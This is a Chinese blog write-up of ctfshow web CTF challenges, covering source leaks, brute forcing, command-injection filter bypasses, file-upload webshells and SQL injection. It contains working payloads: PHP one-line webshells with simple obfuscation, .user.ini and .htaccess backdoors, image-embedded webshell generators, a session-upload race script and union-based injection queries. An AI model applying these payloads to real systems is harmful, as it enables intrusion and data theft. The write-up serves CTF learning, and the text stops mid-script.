【ctfshow】web篇wp记录(持续更新)

前言

记录web的题目wp,慢慢变强,铸剑。

信息搜集

web1

右键查看源代码即可

ctrl+u

web2

1、关掉javascript然后查看源码

2、ctrl+shift+i

3、view-source:

4、点击更过工具,开发者工具查看元素获得页面注释通过开发者工具查看网络response结果获得flag

image-20210601202056830

web3

开发者工具network抓包查看http协议头里面有个flag协议头,提交即可burpsuite抓包也可以

image-20210601202158461

image-20210601202315569

ctfshow{53968446-5c49-4e0a-a6af-3df14463c786}

web4

直接上手君子协议

ctfshow{ca6071e4-33fd-4e4b-8f0e-c08bc2b1e7b1}

web5

考虑了半天,提示phps源码泄露

还是得看tips

ctfshow{70bc7249-1347-4d63-9f62-b1c752661b03}

web6

/www.zip,下载源码,然后网页上访问http://55a647d5-d0fc-40ec-93e4-edd2b997ed11.challenge.ctf.show:8080/fl000g.txt

ctfshow{6a630fef-804b-4f6a-a892-e3e3f0f5fe6f}

web7

考部署环境,时/.git/泄露代码

image-20210601203750323

web8

是svn代码泄露,url/.svn/,后面这个/一定要加,不然就进不去

image-20210601205103745

web9

linux中vim访问缓冲index.php.swp信息泄露

ctfshow{6100df72-a079-4f17-97b8-56886e12c786}

web10

cookie中

image-20210601205626532

web11

https://zijian.aliyun.com/ 查域名

http://dbcha.com/?t=1625617640 查域名

image-20210601210418143

web12

先看一波君子协议

然后admin和他手机是密码

robots.txt

web13

document下载

技术文档

web14

看题目,写editor编译器泄露,查看源码搜索找到editor

image-20210707083802791

image-20210707083825874

image-20210707083848916

通过路径找到flag

http://c8ed7f63-f69c-4c94-9a34-5988bbdf9155.challenge.ctf.show:8080/nothinghere/fl000g.txt

image-20210707083923575

web15

通过邮箱查地址

改密码:西安

web16

进入tz.php这是默认

然后再点击phpinfo按钮里面有flag

image-20210707084326227

image-20210707084345975

web17

ping www.ctfshow.com

web18

http://d3be1272-066a-49ff-a6e8-b8def169e782.challenge.ctf.show:8080/110.php

image-20210602184900428

image-20210707090523103

image-20210602184928433

web19

绕过前端JS直接提交hash使用hackbar的post:pazzword=a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04&username=admin

post传参

web20

mdb文件asp+access数据库文件泄露

db/db.mdb,打开

image-20210707092002656

爆破

web21

tomcat认证爆破之burp custom iterator

  • 第一种方式-burp使用之自定义迭代器

image-20210602075713742

base64解密 就是 admin:admin形式,我输入的账号和密码就是admin和admin

说明这是base64加密

image-20210602075845504

image-20210602080000069

position(1)

image-20210602080029936

image-20210602080057955

image-20210602080159630

image-20210602082330741

image-20210602082906219

image-20210602080221754

  • 第二种方式-直接固定前缀
    • image-20210709091316243
    • image-20210709091404655
    • image-20210709091423940
    • image-20210709091444181

web22

web23

  • 源代码

    • image-20210710175437343

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      <?php

      /*
      # -*- coding: utf-8 -*-
      # @Author: h1xa
      # @Date: 2020-09-03 11:43:51
      # @Last Modified by: h1xa
      # @Last Modified time: 2020-09-03 11:56:11
      # @email: h1xa@ctfer.com
      # @link: https://ctfer.com

      */
      error_reporting(0);

      include('flag.php');
      if(isset($_GET['token'])){
      $token = md5($_GET['token']);
      if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
      if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
      echo $flag;
      }
      }
      }else{
      highlight_file(__FILE__);

      }
      ?>
  • image-20210710175548108

  • image-20210710175616862

  • image-20210710175638605

web24

  • mt_srand(seed) 根据seed的值会一直不变,不过不同的php版本会导致不同的结果
  • image-20210711101447840
  • image-20210711101522334
  • image-20210711101557022

web25

web26

image-20210715215131122

web27

  • 得到了名单,明显缺少出生年月日
    • image-20210715215249427
  • 中间缺少8位数,利用1990年到2000年之间的出生日期构造第一名学生的身份证号payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

for ($y=1990; $y < 2000; $y++) {
for ($m=1; $m < 13; $m++) {
if ($m < 10) {
$m = "0".$m;
}
for ($d=1; $d < 32; $d++) {
if ($d < 10) {
$d = "0".$d;
}
echo "621022".$y.$m.$d."5237"."<br/>";
}
}
}

?>

image-20210715220453961

  • burp跑一遍
    • image-20210715220728598
    • image-20210715220802214
    • image-20210715220834627

web28

  • 发现index会跳转0/1/2.txt
  • 正常网站是index.php
  • 报错0和1的深度试试
    • image-20210715221957039

命令执行

web29

  • image-20210707102447577
  • image-20210707102530786
  • image-20210707102544429

web30

  • image-20210707103118631
  • image-20210707103144554

web31

  • image-20210707105029901
  • image-20210707105220231

web32

  • image-20210707110929422
  • image-20210707111000644

web33

  • image-20210707210348568
  • image-20210707210419087
  • image-20210707210435823

web34

  • 和33题一样

web35

  • 和32题一样

web36

  • 和32题一样就是把1换成a

web37

  • image-20210707215121215

  • image-20210707215132578

web38

  • image-20210707215958632

web39

  • 和38一样

web40

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}
  • 根据提示套娃方法
    • show_source(next(array_reverse(scandir(pos(localeconv())))));
  • 解析:show_source(“flag.php”);可以直接显示当前文件
    • localeconv()数组中第一个元素是.可以取路径
    • pos()就是取数据中第一个元素
    • array_reverse()将数组倒序利用next()取flag.php就执行了flag.php
      • image-20210716180426690
  • 根据cookie命令执行方法
    • c=session_start();system(session_id()); passid=ls
    • 解析利用session会话进行获取passid中的ls来进行命令执行
    • 但是不能正常执行tac flag.php
  • 根据post传参来进行命令执行
    • 利用-print_r(get_defined_vars())输出所有变量来查看
    • image-20210716182731071
    • image-20210716182805741
    • 利用next和array_pop来取出值
      • image-20210716182918300
    • eval没有被禁用,尝试命令执行
      • image-20210716182955897
      • image-20210716183112793

web41

1
2
3
4
5
6
7
8
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
  • 过滤了数字和字母和一些其他字符我们还是可以利用或运算来进行绕过,例如A的ascii码是65,用羽师傅的代码写的是64|1就得到了65,来构造payload

image-20210717105826825

  • 经过测试,想要在php中实现或运算,实际上服务器上会进行url解码,所以需要用十六进制的字符编码利用或运算进行绕过前端代码验证,写了个代码进行验证,因为phpinfo()可以使用(‘phpinfo’)()形式执行所以构造了

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    <?php
    /*
    # -*- coding: utf-8 -*-
    # @Author: GuYing
    # @Date: 2021/7/17
    */
    //或
    $c = $_GET['c'];
    eval("echo($c);");

    //(('%40'|'%10').('%40'|'%08').('%40'|'%10').('%40'|'%09').('%40'|'%0e').('%40'|'%06').('%40'|'%0F'))()
    ?>
  • 可以直接绕过当(’PHPINFO‘)()执行构造

    1
    2
    3
    payload1 ?c=(('%40'|'%10').('%40'|'%08').('%40'|'%10').('%40'|'%09').('%40'|'%0e').('%40'|'%06').('%40'|'%0F'))()

    payload2 ?c=(("%10%08%10%09%0e%06%0f"|"%60%60%60%60%60%60%60"))()

    image-20210717110940082

    image-20210717144624204

  • 沿用羽师傅的代码

  • 解释一下:先是ascill码256个字符的所对应的16进制数,然后利用preg_match排除他们本身的二进制字符串是属于被过滤范围内的,可以大量减少运行时间,然后再读入到rce_or.txt中,利用python写exp进行利用。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    <?php
    /*
    # -*- coding: utf-8 -*-
    # @Author: GuYing
    # @Date: 2021/7/17
    */
    //异或
    $myfile = fopen("rce_or.txt", "w");
    $contents = "";
    for ($i=0; $i < 256; $i++) {
    for ($j=0; $j < 256 ; $j++) {

    if ($i<16) {
    $hex_i='0'.dechex($i);
    }
    else{
    $hex_i=dechex($i);
    }
    if($j<16){
    $hex_j='0'.dechex($j);
    }
    else{
    $hex_j = dechex($j);
    }
    $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
    if(preg_match($preg, hex2bin($hex_i))||preg_match($preg, hex2bin($hex_j))){
    echo '';
    }
    else{
    $a = '%'.$hex_i;
    $b = '%'.$hex_j;
    $c = (urldecode($a) | urldecode($b));
    if (ord($c)>=32&ord($c)<=126)
    {
    $contents=$contents.$c." ".$a." ".$b."\n";
    }
    }

    }
    }
    fwrite($myfile, $contents);
    fclose($myfile);
    ?>
  • python跑一下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os

os.system("php rce_or.php") # 执行shell语句
if (len(argv) != 2):
print(len(argv))
print(argv)
print(argv[0:2])
print("=" * 50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("=" * 50)
exit(0)
url = argv[1]

def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("rce_or.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 +"\"|\"" + s2 + "\")"
return (output)

while True:
param = action(input("Your function : ")) + action(input("Your command: "))
print("Your payload: "+param);
data = {
'c': urllib.parse.unquote(param)
}
print(data)
r = requests.post(url , data=data)
print("result: "+r.text)

image-20210717150405707

web42

1
2
3
4
5
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);

web43

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

image-20210717152049686

web44

1
2
3
4
5
6
7
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);

image-20210717152655692

web45

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

image-20210717153219160

web46

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

image-20210717183425122

web47

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

image-20210717183713606

web48

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

image-20210717183954397

web49

image-20210717184223954

web50

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

image-20210717190209066

web51

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

image-20210717190620917

web52

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
  • 看一下目录

    image-20210717194039748

  • 直接看看a.txt是啥

    image-20210717194149794

  • 发现有个flag文件在根目录

    image-20210717194258088

  • 用nl或者ta’’c看看’’是用来过滤

image-20210717193603100

image-20210717194411798

web53

1
2
3
4
5
6
7
8
9
10
11
12
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}

image-20210717195320225

web54

1
2
3
4
5
6
7
8
9

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

image-20210717200118282

w

web55

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
  • bin为binary的简写,主要放置一些系统必备的执行命令,里面有base64可以试试绕过
1
?c=/???/????64 ????.???  相当于 ?c=/bin/base64 flag.php

image-20210718092438468

  • 解密之后就是结果

image-20210718092518736

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://9690d3da-43c1-4f75-87b3-628eff4078df.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
  • 因为php的上传文件之后,服务端并没有直接丢弃上传的文件,而是放在了/tmp/????????? 这里有九位数字可以为/tmp/phpabcabD因为正常情况最后一位都会是大写字母,利用[@-[]来确定执行范围所以构造payload(@-[是大写字母的范围可以去查ascii码)好像构造的时候.后面得加个空格或者+号也行
1
?c=.+/???/????????[@-[]
  • 上传抓包

image-20210718100015465

image-20210718100055211

  • 经此可以发现写个python代码直接上传文件,就写入cat flag.php 不用加#!bin/sh
1
2
3
4
5
6
7
8
import requests

while True:
url = "http://9690d3da-43c1-4f75-87b3-628eff4078df.challenge.ctf.show:8080/?c=.+/???/????????[@-[]"
r = requests.post(url, files={"file": ('1.txt', 'cat flag.php')})
if r.text.find("flag"):
print(r.text)
break

image-20210718100242475

web56

  • 过滤的数字,但是还是不影响第二种命令执行的方法,延续上题,或者python代码跑一波

image-20210718100624413

web57

文件上传

web151

  • 直接抓包改后缀名

image-20210721183539568

web152

  • 和上题一样

web153

  • 对php后缀基本都限制了,我们构造.user.ini用户后门
  • php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。
1
2
auto_prepend_file=filename      //包含在文件头
auto_append_file=filename //包含在文件尾
  • auto_prepend_file=1.png 就相当于当前目录中所有的php文件都调用了require(‘1.png’),只要进入任意一个php文件就可以使用1.png中我们构造的一句话木马来直接getshell和命令执行。
  • 首先上传.user.ini文件

image-20210723154700946

  • 再直接上传01.png

image-20210723154751780

image-20210723155013717

  • 直接拿flag

image-20210723155132721

web154

  • 和上题一样传了个.user.ini文件进去,结果一句话木马写不进去,改用短标签代码<?=就相当于echo接着双反引号执行命令要记得闭合

image-20210723160015412

image-20210723160118025

web155

  • 和上题一样

image-20210723160315690

web156

  • 和上题一样

web157

  • 和上题一样就是分号过滤了,分号改成?>

image-20210723161141006

image-20210723161148481

web158

  • 和上题一样

web159

  • 和上题一样

web160

  • 过滤了反引号,那就文件包含,因为php被过滤了所以得用.来绕过
1
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.ph"."p"?>

image-20210723162541778

web161

  • 连普通的图片的上传上去,查了下
  • getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求
  • 所以在上题的基础上都加个GIF89a图片头就可以了

image-20210723163145783

web162

  • session文件包含原理,和web82相同,还是先上传.user.ini,过gif图片头加一个GIF89A
  • 参考 bityu22xdota_st
  • .user.ini
1
2
GIF89A
auto_prepend_file=/tmp/sess_test
  • exp162.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import io
import requests
import threading

sessID = 'test'
url = 'http://b309cf39-67ef-4ccd-8a93-9c7371becec8.chall.ctf.show/'

def write(session):
while event.isSet():
f = io.BytesIO(b'a' * 256 * 1)
response = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("nl ../*.php");?>'},
files={'file': ('test.txt', f)}
)

def read(session):
while event.isSet():
response = session.get(url + 'upload/index.php'.format(sessID))
if 'flag' in response.text:
print(response.text)
event.clear()
else:
print('[*]retrying...')


if __name__ == '__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(1, 30):
threading.Thread(target=write, args=(session,)).start()

for i in range(1, 30):
threading.Thread(target=read, args=(session,)).start()
  • 运行结果

image-20210724104738490

web163

  • 和上题一模一样

web164

  • 题目说改头换面,猜测可能是二次渲染,大家可以参考国光师傅
  • 直接用外国大佬脚本生成一个
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*<?$_GET[0]($_POST[1]);?>*/

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'1.png');

image-20210724105501375

  • 打开看看是否成功写入
1
<?=$_GET[0]($_POST[1]);?>

image-20210724105536362

  • 直接上传,抓包,改post传参然后getflag

image-20210724105922637

web165

  • 这次变成jpg二次渲染,网上找大佬代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
<?php
/*

The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.

1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>

In case of successful injection you will get a specially crafted image, which should be uploaded again.

Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

Sergey Bobrov @Black2Fan.

See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

*/

$miniPayload = '<?=eval($_POST[1]);?>';


if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}

if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}

set_error_handler("custom_error_handler");

for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;

if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}

while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');

function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}

function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}

class DataInputStream {
private $binData;
private $order;
private $size;

public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}

public function seek() {
return ($this->size - strlen($this->binData));
}

public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}

public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}

public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}

public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
  • 上传一个jpg图片,因为有些图片的成功率不太高,就直接用可以成功的图片,找了个国光老师的图片,原图

jpg渲染

  • 先上传这个图片,让这个图片被渲染,然后下载下来,格式改jgp

image-20210724112625357

image-20210724112815685

  • 上传,抓包记得我们写的一句话是
1
<?=eval($_POST[1]);?>

image-20210724112904880

image-20210724113008986

image-20210724113107225

web166

  • 查看源码发现只能穿zip

image-20210724140634097

  • 抓包,直接给zip上传一句话木马;
  • 注意:Content-Type为application/x-zip-compressed

image-20210724142043177

  • 抓刚刚传进去的文件,根据zip文件上传的文件包含的特性直接命令执行

image-20210724142204934

web167

  • 根据提示说httpd,想到是.htaccess,应该是要利用.htaccess进行绕过
  • htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
  • 方法一
1
AddType application/x-httpd-php .jpg //将.jpg后缀解析成php执行
  • 方法二
1
2
3
<FilesMatch "png">
SetHandler application/x-httpd-php
</FilesMatch>
  • 两个方法一个意思两种写法,这里用方法一,上传.htaccess

image-20210724143059388

  • 在上传一个1.jpg的一句话木马

image-20210724143222669

  • 直接打开1.jpg的图片拿flag

image-20210724143341786

web168

  • 提示说基础免杀,这里提供几个基础的免杀脚本
  • 前三个免杀 密码 0 最后一个自己构造
1
2
3
4
5
6
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[0]);
?>
1
2
3
4
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[0]);
?>
1
2
3
4
<?php
$a=strrev('metsys'); //反转
$a($_REQUEST[0]);
?>
1
2
3
4
5
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
  • 抓包上传

image-20210724145000996

image-20210724145218511

web169

  • 右键源码查看前端限制只能上传zip,先上传一个zip,然后抓包,改Content-Typeimage/png,可以传php等格式,但发现内容中过滤了<>php,试了下可以传.user.ini,我们尝试一下日志包含,User-Agent加上一句话木马
  • .user.ini
1
auto_prepend_file=/var/log/nginx/access.log
  • 1.php

image-20210724145745539

  • 访问1.php发现成功包含

image-20210724145854727

  • 随便访问一个页面写一个User-Agent

    image-20210724150029046

  • 测试phpinfo();

image-20210724150124088

  • 直接连webshell找flag或者直接命令执行

image-20210724150419763

web170

  • 和上题一样

SQL注入

web171

  • 根据语句可以看到有flag没有被显示出来,让我们拼接语句来绕过
1
2
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
  • GET传参会自己解码,注释可以用%23(#), –空格,–+等,或者拼接语句不用注释也行

image-20210727052118542

  • 判断有3个字段
1
1' order by 3--+

image-20210727052202385

  • 联合查询,查表
1
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

image-20210727052424376

  • 查字段
1
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+

image-20210727052509428

  • 查flag
1
1' union select 1,2,password from ctfshow_user --+

image-20210727052648926

web172

1
2
3
4
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}
  • 多了层过滤,没有检测到username有flag结果才能查询成功,不查询username,就用password,和上题没区别
1
1' union select 1,password from ctfshow_user2--+

web173

  • 和上题一样
1
1' union select 1,2,password from ctfshow_user3--+

web174

1
2
3
4
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
  • 过滤了数字,考察replace的运用,先判断有几个字段
1
1' order by 2 %23

image-20210727091147187

  • 联合函数添加a和b两个数据ok

image-20210727091245501

  • 先构造一个replace将0-9全部置换
1
select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(1234567890,1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ');

image-20210727091509981

  • 查表构造语句将1-0换成table_name
1
1' union all select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from information_schema.tables where table_schema=database() %23

image-20210727091702800

  • 查字段名
1
1' union all select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(column_name),1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from information_schema.columns where table_schema=database() and table_name='ctfshow_user4' %23

image-20210727091826089

  • 查结果
1
1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from ctfshow_user4--+

image-20210727091848759

  • 写个小py来转换一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests



flagstr = 'ctfshow{numHnumEbnumCnumFenumJd-anumEnumHnumF-numDfbnumC-adnumBnumJ-enumAnumAnumBenumDnumFnumDnumGnumHnumAnumH}'

flag=''
flag = flag + flagstr.replace('numA','1').\
replace('numB','2')\
.replace('numC','3')\
.replace('numD','4')\
.replace('numE','5')\
.replace('numF','6')\
.replace('numG','7')\
.replace('numH','8')\
